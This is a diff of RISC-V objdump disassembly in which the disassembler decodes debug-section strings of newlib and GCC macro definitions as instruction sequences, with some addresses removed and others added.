-    341c:	2a28666f          	jal	a2,896be <__stack_size+0x88ebe>
-    3420:	7628                	flw	fa0,104(a2)
-    3422:	7261                	lui	tp,0xffff8
-    3424:	2929                	jal	383e <__stack_size+0x303e>
-    3426:	3b29                	jal	3140 <__stack_size+0x2940>
-    3428:	5f20                	lw	s0,120(a4)
-    342a:	4552                	lw	a0,20(sp)
-    342c:	4e45                	li	t3,17
-    342e:	5f54                	lw	a3,60(a4)
-    3430:	4e49                	li	t3,18
-    3432:	5449                	li	s0,-14
-    3434:	505f 5254 5a5f      	0x5a5f5254505f
-    343a:	5245                	li	tp,-15
-    343c:	2844454f          	fnmadd.s	fa0,fs0,ft4,ft5,rmm
-    3440:	6176                	flw	ft2,92(sp)
-    3442:	2972                	fld	fs2,280(sp)
-    3444:	007d203b          	0x7d203b
-    3448:	4e49                	li	t3,18
-    344a:	5f54                	lw	a3,60(a4)
-    344c:	4146                	lw	sp,80(sp)
-    344e:	32335453          	0x32335453
-    3452:	4d5f 4e49 5f00      	0x5f004e494d5f
-    3458:	465f 544c 3233      	0x3233544c465f
-    345e:	5f58                	lw	a4,60(a4)
-    3460:	414d                	li	sp,19
-    3462:	544e                	lw	s0,240(sp)
-    3464:	445f 4749 5f5f      	0x5f5f4749445f
-    346a:	3520                	fld	fs0,104(a0)
-    346c:	5f5f0033          	0x5f5f0033
-    3470:	454e                	lw	a0,208(sp)
-    3472:	42494c57          	0x42494c57
-    3476:	505f 5441 4843      	0x48435441505f
-    347c:	454c                	lw	a1,12(a0)
-    347e:	4556                	lw	a0,84(sp)
-    3480:	5f4c                	lw	a1,60(a4)
-    3482:	205f 0030 5f5f      	0x5f5f0030205f
-    3488:	6f6c                	flw	fa1,92(a4)
-    348a:	695f6b63          	bltu	t5,s5,3b20 <__stack_size+0x3320>
-    348e:	696e                	flw	fs2,216(sp)
-    3490:	5f74                	lw	a3,124(a4)
-    3492:	6572                	flw	fa0,28(sp)
-    3494:	73727563          	bgeu	tp,s7,3bbe <__stack_size+0x33be>
-    3498:	7669                	lui	a2,0xffffa
-    349a:	2865                	jal	3552 <__stack_size+0x2d52>
-    349c:	6f6c                	flw	fa1,92(a4)
-    349e:	20296b63          	bltu	s2,sp,36b4 <__stack_size+0x2eb4>
-    34a2:	2828                	fld	fa0,80(s0)
-    34a4:	6f76                	flw	ft10,92(sp)
-    34a6:	6469                	lui	s0,0x1a
-    34a8:	2029                	jal	34b2 <__stack_size+0x2cb2>
-    34aa:	2930                	fld	fa2,80(a0)
-    34ac:	5400                	lw	s0,40(s0)
-    34ae:	3020524f          	fnmadd.s	ft4,ft0,ft2,ft6,unknown
-    34b2:	3062                	fld	ft0,56(sp)
-    34b4:	3030                	fld	fa2,96(s0)
-    34b6:	3130                	fld	fa2,96(a0)
-    34b8:	3030                	fld	fa2,96(s0)
-    34ba:	0030                	addi	a2,sp,8
-    34bc:	495f 544e 3233      	0x3233544e495f
-    34c2:	545f 445f 4345      	0x4345445f545f
-    34c8:	414c                	lw	a1,4(a0)
-    34ca:	4552                	lw	a0,20(sp)
-    34cc:	2044                	fld	fs1,128(s0)
-    34ce:	5f00                	lw	s0,56(a4)
-    34d0:	495f 544e 575f      	0x575f544e495f
-    34d6:	4449                	li	s0,18
-    34d8:	4854                	lw	a3,20(s0)
-    34da:	5f5f 3320 0032      	0x3233205f5f
-    34e0:	52435f4f          	fnmadd.d	ft10,ft6,ft4,fa0,unknown
-    34e4:	4145                	li	sp,17
-    34e6:	2054                	fld	fa3,128(s0)
-    34e8:	465f 5243 4145      	0x41455243465f
-    34ee:	0054                	addi	a3,sp,4
-    34f0:	53495f53          	0x53495f53
-    34f4:	4955                	li	s2,21
-    34f6:	2044                	fld	fs1,128(s0)
-    34f8:	3030                	fld	fa2,96(s0)
-    34fa:	3430                	fld	fa2,104(s0)
-    34fc:	3030                	fld	fa2,96(s0)
-    34fe:	0030                	addi	a2,sp,8
-    3500:	4c55                	li	s8,21
-    3502:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    3506:	414d                	li	sp,19
-    3508:	2058                	fld	fa4,128(s0)
-    350a:	4c28                	lw	a0,88(s0)
-    350c:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    3510:	414d                	li	sp,19
-    3512:	2058                	fld	fa4,128(s0)
-    3514:	202a                	fld	ft0,136(sp)
-    3516:	5532                	lw	a0,44(sp)
-    3518:	204c                	fld	fa1,128(s0)
-    351a:	5531202b          	0x5531202b
-    351e:	294c                	fld	fa1,144(a0)
-    3520:	4300                	lw	s0,0(a4)
-    3522:	4f4c                	lw	a1,28(a4)
-    3524:	415f4b43          	fmadd.s	fs6,ft10,fs5,fs0,rmm
-    3528:	4c4c                	lw	a1,28(s0)
-    352a:	4445574f          	0x4445574f
-    352e:	3120                	fld	fs0,96(a0)
-    3530:	4600                	lw	s0,8(a2)
-    3532:	5f44                	lw	s1,60(a4)
-    3534:	28524c43          	fmadd.s	fs8,ft4,ft5,ft5,rmm
-    3538:	2c6e                	fld	fs8,216(sp)
-    353a:	2970                	fld	fa2,208(a0)
-    353c:	2820                	fld	fs0,80(s0)
-    353e:	7028                	flw	fa0,96(s0)
-    3540:	2d29                	jal	3b5a <__stack_size+0x335a>
-    3542:	663e                	flw	fa2,204(sp)
-    3544:	7364                	flw	fs1,100(a4)
-    3546:	625f 7469 5b73      	0x5b737469625f
-    354c:	6e28                	flw	fa0,88(a2)
-    354e:	2f29                	jal	3c68 <__stack_size+0x3468>
-    3550:	464e                	lw	a2,208(sp)
-    3552:	4244                	lw	s1,4(a2)
-    3554:	5449                	li	s0,-14
-    3556:	26205d53          	0x26205d53
-    355a:	203d                	jal	3588 <__stack_size+0x2d88>
-    355c:	287e                	fld	fa6,472(sp)
-    355e:	4c31                	li	s8,12
-    3560:	3c20                	fld	fs0,120(s0)
-    3562:	203c                	fld	fa5,64(s0)
-    3564:	2828                	fld	fa0,80(s0)
-    3566:	296e                	fld	fs2,216(sp)
-    3568:	2520                	fld	fs0,72(a0)
-    356a:	4e20                	lw	s0,88(a2)
-    356c:	4446                	lw	s0,80(sp)
-    356e:	4942                	lw	s2,16(sp)
-    3570:	5354                	lw	a3,36(a4)
-    3572:	2929                	jal	398c <__stack_size+0x318c>
-    3574:	0029                	c.nop	10
-    3576:	5f5f 4942 5f54      	0x5f5449425f5f
-    357c:	5954                	lw	a3,52(a0)
-    357e:	4550                	lw	a2,12(a0)
-    3580:	45445f53          	0x45445f53
-    3584:	4946                	lw	s2,80(sp)
-    3586:	454e                	lw	a0,208(sp)
-    3588:	5f44                	lw	s1,60(a4)
-    358a:	205f 0031 5343      	0x53430031205f
-    3590:	5f52                	lw	t5,52(sp)
-    3592:	564d                	li	a2,-13
-    3594:	4e45                	li	t3,17
-    3596:	4f44                	lw	s1,28(a4)
-    3598:	4952                	lw	s2,20(sp)
-    359a:	2044                	fld	fs1,128(s0)
-    359c:	0039                	c.nop	14
-    359e:	4f4e5f4f          	fnmadd.q	ft10,ft8,fs4,fs1,unknown
-    35a2:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
-    35a6:	5f20                	lw	s0,120(a4)
-    35a8:	4e46                	lw	t3,80(sp)
-    35aa:	5454434f          	0x5454434f
-    35ae:	0059                	c.nop	22
-    35b0:	58495f53          	0x58495f53
-    35b4:	5355                	li	t1,-11
-    35b6:	2052                	fld	ft0,272(sp)
-    35b8:	3030                	fld	fa2,96(s0)
-    35ba:	3030                	fld	fa2,96(s0)
-    35bc:	3031                	jal	2dc8 <__stack_size+0x25c8>
-    35be:	0030                	addi	a2,sp,8
-    35c0:	5f5f 4c46 3654      	0x36544c465f5f
-    35c6:	5f34                	lw	a3,120(a4)
-    35c8:	4944                	lw	s1,20(a0)
-    35ca:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    35ce:	3531                	jal	33da <__stack_size+0x2bda>
-    35d0:	4600                	lw	s0,8(a2)
-    35d2:	535f 5445 4446      	0x44465445535f
-    35d8:	3220                	fld	fs0,96(a2)
-    35da:	5f00                	lw	s0,56(a4)
-    35dc:	775f 6165 5f6b      	0x5f6b6165775f
-    35e2:	6572                	flw	fa0,28(sp)
-    35e4:	6566                	flw	fa0,88(sp)
-    35e6:	6572                	flw	fa0,28(sp)
-    35e8:	636e                	flw	ft6,216(sp)
-    35ea:	2865                	jal	36a2 <__stack_size+0x2ea2>
-    35ec:	2c6d7973          	csrrci	s2,0x2c6,26
-    35f0:	6c61                	lui	s8,0x18
-    35f2:	6169                	addi	sp,sp,208
-    35f4:	5f202973          	csrr	s2,0x5f2
-    35f8:	615f 6d73 5f5f      	0x5f5f6d73615f
-    35fe:	2228                	fld	fa0,64(a2)
-    3600:	772e                	flw	fa4,232(sp)
-    3602:	6165                	addi	sp,sp,112
-    3604:	2022206b          	0x2022206b
-    3608:	696c6123          	0x696c6123
-    360c:	7361                	lui	t1,0xffff8
-    360e:	3b29                	jal	3328 <__stack_size+0x2b28>
-    3610:	5f20                	lw	s0,120(a4)
-    3612:	615f 6d73 5f5f      	0x5f5f6d73615f
-    3618:	2228                	fld	fa0,64(a2)
-    361a:	652e                	flw	fa0,200(sp)
-    361c:	7571                	lui	a0,0xffffc
-    361e:	2220                	fld	fs0,64(a2)
-    3620:	2320                	fld	fs0,64(a4)
-    3622:	6c61                	lui	s8,0x18
-    3624:	6169                	addi	sp,sp,208
-    3626:	2c222073          	csrs	0x2c2,tp
-    362a:	2220                	fld	fs0,64(a2)
-    362c:	2320                	fld	fs0,64(a4)
-    362e:	296d7973          	csrrci	s2,0x296,26
-    3632:	5f00                	lw	s0,56(a4)
-    3634:	495f 544e 4c5f      	0x4c5f544e495f
-    363a:	4145                	li	sp,17
-    363c:	36315453          	0x36315453
-    3640:	575f 4449 4854      	0x48544449575f
-    3646:	5f5f 3120 0036      	0x3631205f5f
-    364c:	5f5f 695f 746e      	0x746e695f5f5f
-    3652:	3436                	fld	fs0,360(sp)
-    3654:	745f 645f 6665      	0x6665645f745f
-    365a:	6e69                	lui	t3,0x1a
-    365c:	6465                	lui	s0,0x19
-    365e:	3120                	fld	fs0,96(a0)
-    3660:	5f00                	lw	s0,56(a4)
-    3662:	4c5f4353          	0x4c5f4353
-    3666:	5645                	li	a2,-15
-    3668:	4c45                	li	s8,17
-    366a:	5f31                	li	t5,-20
-    366c:	4344                	lw	s1,4(a4)
-    366e:	4341                	li	t1,16
-    3670:	4548                	lw	a0,12(a0)
-    3672:	415f 5353 434f      	0x434f5353415f
-    3678:	3120                	fld	fs0,96(a0)
-    367a:	3932                	fld	fs2,296(sp)
-    367c:	5f00                	lw	s0,56(a4)
-    367e:	475f 554e 4c43      	0x4c43554e475f
-    3684:	4b49                	li	s6,18
-    3686:	5f45                	li	t5,-15
-    3688:	5542                	lw	a0,48(sp)
-    368a:	4c49                	li	s8,18
-    368c:	4954                	lw	a3,20(a0)
-    368e:	5f4e                	lw	t5,240(sp)
-    3690:	454e                	lw	a0,208(sp)
-    3692:	5458                	lw	a4,44(s0)
-    3694:	415f 4752 3120      	0x31204752415f
-    369a:	5f00                	lw	s0,56(a4)
-    369c:	4955                	li	s2,21
-    369e:	544e                	lw	s0,240(sp)
-    36a0:	3436                	fld	fs0,360(sp)
-    36a2:	545f 445f 4345      	0x4345445f545f
-    36a8:	414c                	lw	a1,4(a0)
-    36aa:	4552                	lw	a0,20(sp)
-    36ac:	2044                	fld	fs1,128(s0)
-    36ae:	5f00                	lw	s0,56(a4)
-    36b0:	725f 7369 7663      	0x76637369725f
-    36b6:	615f 6f74 696d      	0x696d6f74615f
-    36bc:	00312063          	0x312063
-    36c0:	505f 5f43 494c      	0x494c5f43505f
-    36c6:	4b4e                	lw	s6,208(sp)
-    36c8:	4d5f 5841 3020      	0x302058414d5f
-    36ce:	6900                	flw	fs0,16(a0)
-    36d0:	706e                	flw	ft0,248(sp)
-    36d2:	7475                	lui	s0,0xffffd
-    36d4:	696c                	flw	fa1,84(a0)
-    36d6:	656e                	flw	fa0,216(sp)
-    36d8:	5f00                	lw	s0,56(a4)
-    36da:	465f 544c 3233      	0x3233544c465f
-    36e0:	5f58                	lw	a4,60(a4)
-    36e2:	4544                	lw	s1,12(a0)
-    36e4:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    36e8:	5f4c                	lw	a1,60(a4)
-    36ea:	4944                	lw	s1,20(a0)
-    36ec:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    36f0:	3731                	jal	35fc <__stack_size+0x2dfc>
-    36f2:	5f00                	lw	s0,56(a4)
-    36f4:	4c42                	lw	s8,16(sp)
-    36f6:	544e434b          	0x544e434b
-    36fa:	545f 445f 4345      	0x4345445f545f
-    3700:	414c                	lw	a1,4(a0)
-    3702:	4552                	lw	a0,20(sp)
-    3704:	2044                	fld	fs1,128(s0)
-    3706:	5f00                	lw	s0,56(a4)
-    3708:	475f 4343 415f      	0x415f4343475f
-    370e:	4f54                	lw	a3,28(a4)
-    3710:	494d                	li	s2,19
-    3712:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
-    3716:	5241                	li	tp,-16
-    3718:	545f3233          	0x545f3233
-    371c:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    2d40:	7974                	flw	fa3,116(a0)
+    2d42:	6570                	flw	fa2,76(a0)
+    2d44:	745f 6761 6b28      	0x6b286761745f
+    2d4a:	6e69                	lui	t3,0x1a
+    2d4c:	2c64                	fld	fs1,216(s0)
+    2d4e:	7974                	flw	fa3,116(a0)
+    2d50:	6570                	flw	fa2,76(a0)
+    2d52:	2029                	jal	2d5c <__stack_size+0x255c>
+    2d54:	5000                	lw	s0,32(s0)
+    2d56:	494c                	lw	a1,20(a0)
+    2d58:	41555f43          	fmadd.s	ft10,fa0,fs5,fs0,unknown
+    2d5c:	5452                	lw	s0,52(sp)
+    2d5e:	525f 5f58 4f53      	0x4f535f58525f
+    2d64:	5255                	li	tp,-11
+    2d66:	33204543          	fmadd.d	fa0,ft0,fs2,ft6,rmm
+    2d6a:	5f00                	lw	s0,56(a4)
+    2d6c:	4350                	lw	a2,4(a4)
+    2d6e:	545f 4d49 5345      	0x53454d49545f
+    2d74:	4154                	lw	a3,4(a0)
+    2d76:	504d                	c.li	zero,-13
+    2d78:	525f 5345 4c4f      	0x4c4f5345525f
+    2d7e:	5455                	li	s0,-11
+    2d80:	4f49                	li	t5,18
+    2d82:	204e                	fld	ft0,208(sp)
+    2d84:	3032                	fld	ft0,296(sp)
+    2d86:	5f00                	lw	s0,56(a4)
+    2d88:	535f 464f 2046      	0x2046464f535f
+    2d8e:	7830                	flw	fa2,112(s0)
+    2d90:	3031                	jal	259c <__stack_size+0x1d9c>
+    2d92:	3030                	fld	fa2,96(s0)
+    2d94:	4300                	lw	s0,0(a4)
+    2d96:	4f4c                	lw	a1,28(a4)
+    2d98:	445f4b43          	0x445f4b43
+    2d9c:	5349                	li	t1,-14
+    2d9e:	4c41                	li	s8,16
+    2da0:	4f4c                	lw	a1,28(a4)
+    2da2:	20444557          	0x20444557
+    2da6:	0030                	addi	a2,sp,8
+    2da8:	5f5f 424f 4f53      	0x4f53424f5f5f
+    2dae:	454c                	lw	a1,12(a0)
+    2db0:	4554                	lw	a3,12(a0)
+    2db2:	4d5f 5441 5f48      	0x5f4854414d5f
+    2db8:	4544                	lw	s1,12(a0)
+    2dba:	4146                	lw	sp,80(sp)
+    2dbc:	4c55                	li	s8,21
+    2dbe:	2054                	fld	fa3,128(s0)
+    2dc0:	0031                	c.nop	12
+    2dc2:	5f5f 6f62 6e75      	0x6e756f625f5f
+    2dc8:	6564                	flw	fs1,76(a0)
+    2dca:	2064                	fld	fs1,192(s0)
+    2dcc:	5f00                	lw	s0,56(a4)
+    2dce:	575f 4e49 5f54      	0x5f544e49575f
+    2dd4:	5954                	lw	a3,52(a0)
+    2dd6:	4550                	lw	a2,12(a0)
+    2dd8:	5f5f 7520 736e      	0x736e75205f5f
+    2dde:	6769                	lui	a4,0x1a
+    2de0:	656e                	flw	fa0,216(sp)
+    2de2:	2064                	fld	fs1,192(s0)
+    2de4:	6e69                	lui	t3,0x1a
+    2de6:	0074                	addi	a3,sp,12
+    2de8:	495f 4346 5248      	0x52484346495f
+    2dee:	3020                	fld	fs0,96(s0)
+    2df0:	3230                	fld	fa2,96(a2)
+    2df2:	3030                	fld	fa2,96(s0)
+    2df4:	3030                	fld	fa2,96(s0)
+    2df6:	5f00                	lw	s0,56(a4)
+    2df8:	545f4353          	0x545f4353
+    2dfc:	5248                	lw	a0,36(a2)
+    2dfe:	4145                	li	sp,17
+    2e00:	5f44                	lw	s1,60(a4)
+    2e02:	524f5053          	0x524f5053
+    2e06:	4441                	li	s0,16
+    2e08:	4349                	li	t1,18
+    2e0a:	535f 5245 4556      	0x45565245535f
+    2e10:	2052                	fld	ft0,272(sp)
+    2e12:	3138                	fld	fa4,96(a0)
+    2e14:	5f00                	lw	s0,56(a4)
+    2e16:	4350                	lw	a2,4(a4)
+    2e18:	505f 5049 5f45      	0x5f455049505f
+    2e1e:	5542                	lw	a0,48(sp)
+    2e20:	2046                	fld	ft0,80(sp)
+    2e22:	0035                	c.nop	13
+    2e24:	5f46                	lw	t5,112(sp)
+    2e26:	4752                	lw	a4,20(sp)
+    2e28:	5445                	li	s0,-15
+    2e2a:	4b4c                	lw	a1,20(a4)
+    2e2c:	3120                	fld	fs0,96(a0)
+    2e2e:	0030                	addi	a2,sp,8
+    2e30:	5f5f 7261 5f67      	0x5f6772615f5f
+    2e36:	7974                	flw	fa3,116(a0)
+    2e38:	6570                	flw	fa2,76(a0)
+    2e3a:	745f 6761 6128      	0x61286761745f
+    2e40:	6772                	flw	fa4,28(sp)
+    2e42:	6b5f 6e69 2c64      	0x2c646e696b5f
+    2e48:	7261                	lui	tp,0xffff8
+    2e4a:	64695f67          	0x64695f67
+    2e4e:	2c78                	fld	fa4,216(s0)
+    2e50:	7974                	flw	fa3,116(a0)
+    2e52:	6570                	flw	fa2,76(a0)
+    2e54:	745f 6761 695f      	0x695f6761745f
+    2e5a:	7864                	flw	fs1,116(s0)
+    2e5c:	2029                	jal	2e66 <__stack_size+0x2666>
+    2e5e:	5000                	lw	s0,32(s0)
+    2e60:	435f4d57          	0x435f4d57
+    2e64:	4746                	lw	a4,80(sp)
+    2e66:	435f 504d 4933      	0x4933504d435f
+    2e6c:	2050                	fld	fa2,128(s0)
+    2e6e:	7830                	flw	fa2,112(s0)
+    2e70:	3038                	fld	fa4,96(s0)
+    2e72:	3030                	fld	fa2,96(s0)
+    2e74:	3030                	fld	fa2,96(s0)
+    2e76:	3030                	fld	fa2,96(s0)
+    2e78:	5f00                	lw	s0,56(a4)
+    2e7a:	565f4353          	0x565f4353
+    2e7e:	504c5f37          	lui	t5,0x504c5
+    2e82:	4942                	lw	s2,16(sp)
+    2e84:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
+    2e88:	4246                	lw	tp,80(sp)
+    2e8a:	4749                	li	a4,18
+    2e8c:	3920                	fld	fs0,112(a0)
+    2e8e:	0035                	c.nop	13
+    2e90:	535f 5f43 4854      	0x48545f43535f
+    2e96:	4552                	lw	a0,20(sp)
+    2e98:	4441                	li	s0,16
+    2e9a:	4b5f 5945 5f53      	0x5f5359454b5f
+    2ea0:	414d                	li	sp,19
+    2ea2:	2058                	fld	fa4,128(s0)
+    2ea4:	53003833          	0x53003833
+    2ea8:	455f 464e 544d      	0x544d464e455f
+    2eae:	3020                	fld	fs0,96(s0)
+    2eb0:	3030                	fld	fa2,96(s0)
+    2eb2:	3032                	fld	ft0,296(sp)
+    2eb4:	3030                	fld	fa2,96(s0)
+    2eb6:	5f00                	lw	s0,56(a4)
+    2eb8:	465f 544c 4d5f      	0x4d5f544c465f
+    2ebe:	4e41                	li	t3,16
+    2ec0:	5f54                	lw	a3,60(a4)
+    2ec2:	4944                	lw	s1,20(a0)
+    2ec4:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    2ec8:	3432                	fld	fs0,296(sp)
+    2eca:	4100                	lw	s0,0(a0)
+    2ecc:	4752                	lw	a4,20(sp)
+    2ece:	4d5f 5841 3620      	0x362058414d5f
+    2ed4:	3535                	jal	2d00 <__stack_size+0x2500>
+    2ed6:	5f003633          	0x5f003633
+    2eda:	615f 7373 7265      	0x72657373615f
+    2ee0:	7374                	flw	fa3,100(a4)
+    2ee2:	655f 6378 756c      	0x756c6378655f
+    2ee8:	65766973          	csrrsi	s2,0x657,12
+    2eec:	2e28                	fld	fa0,88(a2)
+    2eee:	2e2e                	fld	ft8,200(sp)
+    2ef0:	2029                	jal	2efa <__stack_size+0x26fa>
+    2ef2:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    2ef8:	615f 6e6e 746f      	0x746f6e6e615f
+    2efe:	7461                	lui	s0,0xffff8
+    2f00:	2865                	jal	2fb8 <__stack_size+0x27b8>
+    2f02:	7361                	lui	t1,0xffff8
+    2f04:	74726573          	csrrsi	a0,0x747,4
+    2f08:	655f 6378 756c      	0x756c6378655f
+    2f0e:	65766973          	csrrsi	s2,0x657,12
+    2f12:	6c5f 636f 286b      	0x286b636f6c5f
+    2f18:	5f5f 4156 415f      	0x415f41565f5f
+    2f1e:	4752                	lw	a4,20(sp)
+    2f20:	295f5f53          	0x295f5f53
+    2f24:	0029                	c.nop	10
+    2f26:	4548                	lw	a0,12(a0)
+    2f28:	4658                	lw	a4,12(a2)
+    2f2a:	5649                	li	a2,-14
+    2f2c:	5f45                	li	t5,-15
+    2f2e:	4c50                	lw	a2,28(s0)
+    2f30:	5441                	li	s0,-16
+    2f32:	4f46                	lw	t5,80(sp)
+    2f34:	4d52                	lw	s10,20(sp)
+    2f36:	485f 0020 505f      	0x505f0020485f
+    2f3c:	4854                	lw	a3,20(s0)
+    2f3e:	4552                	lw	a0,20(sp)
+    2f40:	4441                	li	s0,16
+    2f42:	435f 4e4f 5f44      	0x5f444e4f435f
+    2f48:	4e49                	li	t3,18
+    2f4a:	5449                	li	s0,-14
+    2f4c:	4149                	li	sp,18
+    2f4e:	494c                	lw	a1,20(a0)
+    2f50:	455a                	lw	a0,148(sp)
+    2f52:	2052                	fld	ft0,272(sp)
+    2f54:	2828                	fld	fa0,80(s0)
+    2f56:	7470                	flw	fa2,108(s0)
+    2f58:	7268                	flw	fa0,100(a2)
+    2f5a:	6165                	addi	sp,sp,112
+    2f5c:	5f64                	lw	s1,124(a4)
+    2f5e:	646e6f63          	bltu	t3,t1,35bc <__stack_size+0x2dbc>
+    2f62:	745f 2029 7830      	0x78302029745f
+    2f68:	4646                	lw	a2,80(sp)
+    2f6a:	4646                	lw	a2,80(sp)
+    2f6c:	4646                	lw	a2,80(sp)
+    2f6e:	4646                	lw	a2,80(sp)
+    2f70:	0029                	c.nop	10
+    2f72:	52525343          	fmadd.d	ft6,ft4,ft5,fa0,unknown
+    2f76:	6328                	flw	fa0,64(a4)
+    2f78:	20297273          	csrrci	tp,hedeleg,18
+    2f7c:	7b28                	flw	fa0,112(a4)
+    2f7e:	7520                	flw	fs0,104(a0)
+    2f80:	736e                	flw	ft6,248(sp)
+    2f82:	6769                	lui	a4,0x1a
+    2f84:	656e                	flw	fa0,216(sp)
+    2f86:	2064                	fld	fs1,192(s0)
+    2f88:	6f6c                	flw	fa1,92(a4)
+    2f8a:	676e                	flw	fa4,216(sp)
+    2f8c:	7220                	flw	fs0,96(a2)
+    2f8e:	3b64                	fld	fs1,240(a4)
+    2f90:	6120                	flw	fs0,64(a0)
+    2f92:	76206d73          	csrrsi	s10,0x762,0
+    2f96:	74616c6f          	jal	s8,196dc <__stack_size+0x18edc>
+    2f9a:	6c69                	lui	s8,0x1a
+    2f9c:	2065                	jal	3044 <__stack_size+0x2844>
+    2f9e:	2228                	fld	fa0,64(a2)
+    2fa0:	72727363          	bgeu	tp,t2,36c6 <__stack_size+0x2ec6>
+    2fa4:	2520                	fld	fs0,72(a0)
+    2fa6:	2c30                	fld	fa2,88(s0)
+    2fa8:	2220                	fld	fs0,64(a2)
+    2faa:	2320                	fld	fs0,64(a4)
+    2fac:	20727363          	bgeu	tp,t2,31b2 <__stack_size+0x29b2>
+    2fb0:	203a                	fld	ft0,392(sp)
+    2fb2:	3d22                	fld	fs10,40(sp)
+    2fb4:	2272                	fld	ft4,280(sp)
+    2fb6:	7228                	flw	fa0,96(a2)
+    2fb8:	2964                	fld	fs1,208(a0)
+    2fba:	3b29                	jal	2cd4 <__stack_size+0x24d4>
+    2fbc:	7220                	flw	fs0,96(a2)
+    2fbe:	3b64                	fld	fs1,240(a4)
+    2fc0:	7d20                	flw	fs0,120(a0)
+    2fc2:	0029                	c.nop	10
+    2fc4:	535f 5f43 4342      	0x43425f43535f
+    2fca:	425f 5341 5f45      	0x5f455341425f
+    2fd0:	414d                	li	sp,19
+    2fd2:	2058                	fld	fa4,128(s0)
+    2fd4:	3735                	jal	2f00 <__stack_size+0x2700>
+    2fd6:	4200                	lw	s0,0(a2)
+    2fd8:	5459                	li	s0,-10
+    2fda:	5f45                	li	t5,-15
+    2fdc:	4544524f          	0x4544524f
+    2fe0:	2052                	fld	ft0,272(sp)
+    2fe2:	425f 5459 5f45      	0x5f455459425f
+    2fe8:	4544524f          	0x4544524f
+    2fec:	0052                	c.slli	zero,0x14
+    2fee:	5f5f 4c46 3654      	0x36544c465f5f
+    2ff4:	5f34                	lw	a3,120(a4)
+    2ff6:	4148                	lw	a0,4(a0)
+    2ff8:	55515f53          	0x55515f53
+    2ffc:	4549                	li	a0,18
+    2ffe:	5f54                	lw	a3,60(a4)
+    3000:	414e                	lw	sp,208(sp)
+    3002:	5f4e                	lw	t5,240(sp)
+    3004:	205f 0031 5a4d      	0x5a4d0031205f
+    300a:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    300e:	49545257          	0x49545257
+    3012:	454d                	li	a0,19
+    3014:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
+    3018:	6176                	flw	ft2,92(sp)
+    301a:	296c                	fld	fa1,208(a0)
+    301c:	6120                	flw	fs0,64(a0)
+    301e:	76206d73          	csrrsi	s10,0x762,0
+    3022:	74616c6f          	jal	s8,19768 <__stack_size+0x18f68>
+    3026:	6c69                	lui	s8,0x1a
+    3028:	2065                	jal	30d0 <__stack_size+0x28d0>
+    302a:	2028                	fld	fa0,64(s0)
+    302c:	6d22                	flw	fs10,8(sp)
+    302e:	2076                	fld	ft0,344(sp)
+    3030:	3161                	jal	2cb8 <__stack_size+0x24b8>
+    3032:	202c                	fld	fa1,64(s0)
+    3034:	3025                	jal	285c <__stack_size+0x205c>
+    3036:	766d203b          	0x766d203b
+    303a:	6120                	flw	fs0,64(a0)
+    303c:	2c32                	fld	fs8,264(sp)
+    303e:	2520                	fld	fs0,72(a0)
+    3040:	3b31                	jal	2d5c <__stack_size+0x255c>
+    3042:	2022                	fld	ft0,8(sp)
+    3044:	6c22                	flw	fs8,8(sp)
+    3046:	2069                	jal	30d0 <__stack_size+0x28d0>
+    3048:	3061                	jal	28d0 <__stack_size+0x20d0>
+    304a:	202c                	fld	fa1,64(s0)
+    304c:	3b36                	fld	fs6,360(sp)
+    304e:	2022                	fld	ft0,8(sp)
+    3050:	7a6d                	lui	s4,0xffffb
+    3052:	20656e6f          	jal	t3,59258 <__stack_size+0x58a58>
+    3056:	203a                	fld	ft0,392(sp)
+    3058:	203a                	fld	ft0,392(sp)
+    305a:	7222                	flw	ft4,40(sp)
+    305c:	2822                	fld	fa6,8(sp)
+    305e:	7528                	flw	fa0,104(a0)
+    3060:	6e69                	lui	t3,0x1a
+    3062:	3374                	fld	fa3,224(a4)
+    3064:	5f32                	lw	t5,44(sp)
+    3066:	2974                	fld	fa3,208(a0)
+    3068:	6176                	flw	ft2,92(sp)
+    306a:	296c                	fld	fa1,208(a0)
+    306c:	202c                	fld	fa1,64(s0)
+    306e:	7222                	flw	ft4,40(sp)
+    3070:	2822                	fld	fa6,8(sp)
+    3072:	7528                	flw	fa0,104(a0)
+    3074:	6e69                	lui	t3,0x1a
+    3076:	3374                	fld	fa3,224(a4)
+    3078:	5f32                	lw	t5,44(sp)
+    307a:	2974                	fld	fa3,208(a0)
+    307c:	2828                	fld	fa0,80(s0)
+    307e:	6975                	lui	s2,0x1d
+    3080:	746e                	flw	fs0,248(sp)
+    3082:	3436                	fld	fs0,360(sp)
+    3084:	745f 7629 6c61      	0x6c617629745f
+    308a:	3e3e                	fld	ft8,488(sp)
+    308c:	29293233          	0x29293233
+    3090:	3a20                	fld	fs0,112(a2)
+    3092:	2220                	fld	fs0,64(a2)
+    3094:	3061                	jal	291c <__stack_size+0x211c>
+    3096:	2c22                	fld	fs8,8(sp)
+    3098:	2220                	fld	fs0,64(a2)
+    309a:	3161                	jal	2d22 <__stack_size+0x2522>
+    309c:	2c22                	fld	fs8,8(sp)
+    309e:	2220                	fld	fs0,64(a2)
+    30a0:	3261                	jal	2a28 <__stack_size+0x2228>
+    30a2:	2022                	fld	ft0,8(sp)
+    30a4:	3b29                	jal	2dbe <__stack_size+0x25be>
+    30a6:	4300                	lw	s0,0(a4)
+    30a8:	4d5f5253          	0x4d5f5253
+    30ac:	5048                	lw	a0,36(s0)
+    30ae:	434d                	li	t1,19
+    30b0:	544e554f          	0x544e554f
+    30b4:	5245                	li	tp,-15
+    30b6:	31204833          	0x31204833
+    30ba:	0039                	c.nop	14
+    30bc:	5f5f 7361 6573      	0x657373615f5f
+    30c2:	7472                	flw	fs0,60(sp)
+    30c4:	68735f73          	csrrwi	t5,0x687,6
+    30c8:	7261                	lui	tp,0xffff8
+    30ca:	6465                	lui	s0,0x19
